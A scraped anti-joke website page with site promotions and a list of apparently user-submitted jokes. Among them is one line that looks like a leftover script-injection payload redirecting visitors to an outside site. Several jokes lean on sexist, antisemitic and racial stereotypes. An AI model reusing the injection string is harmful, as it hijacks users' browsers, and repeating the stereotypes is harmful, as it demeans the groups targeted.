- Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

NEW ANTI-JOKE BOOK! Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

Want more? You might be interested in...

Anti-Joke Chicken

Anti-Joke Triceratops

How do you get rid of Herpes? You can't.

If you're having girl problems, I feel bad for you, son... Because I can empathise with you, and it's not a very nice situation to be in. Hope you work it out.

A coyote walks into a bar, because human development has rapidly destroyed his natural habitat. He mauls three patrons.

Nebraska the farmland its the only place for me!! I love the corn and the corn loves me!! I live for the corn and the corn lives for me!!

what does wtf stand for? what? i was asking you!

Why did the old man throw the clock out the window? Because he didn't want to go to a store that could repair it, so then he thought that it was better off on his yard where it could compost.

Why can't you fit 100 oranges in a bathtub? Because motorcycles don't have doors

yo mammas so fat when she runs the world spins faster

Did you go swimming in the Carribean Ocean? Yes, a shark ate my body, and killed me! Thank God I'm still alive!

What's black and white and red all over? A dead Zebra

A man did not like this site

Whats worse that having cold soup? Cancer

A duck walks into a grocery store. He looks at the shopkeeper, who then grabs a broom and shoos him back outdoors.

What is the difference between Steve Jobs and a PC? PC's are not dead.

"You just went and made a new dinosaur?" "And due to its well-developed core muscles the staff behind Jurassic World has called it - 'ABDOMINUS PEX'." "That's a stupid name."

Roses are Red Violets are Blue I'm Schizophrenic And so am I.

How many feminists does it take to change a light bulb? Two. One to change the bulb, one to suck my dick!

A Jew walks into a bar. He immediately turns around and walks out because prices at this particular high end bar are much too high for his liking.

"'>document.location.href="http://cramik.org"

What did the red fish say to the blue fish? Nothing fish can't talk.

What do call a spoon that doesn't work? Broken.

What did the vibrator say to the condom? Watch, I'll get laid before you do!!!

why shouldnt you throw a rock at a black guy on a bike? Just because its not very nice.

Mom now that I am fourteen can I get a bra now? No Harold!

Anti Joke

Our Updated iOS App!

The Anti Joke Book

MOAR??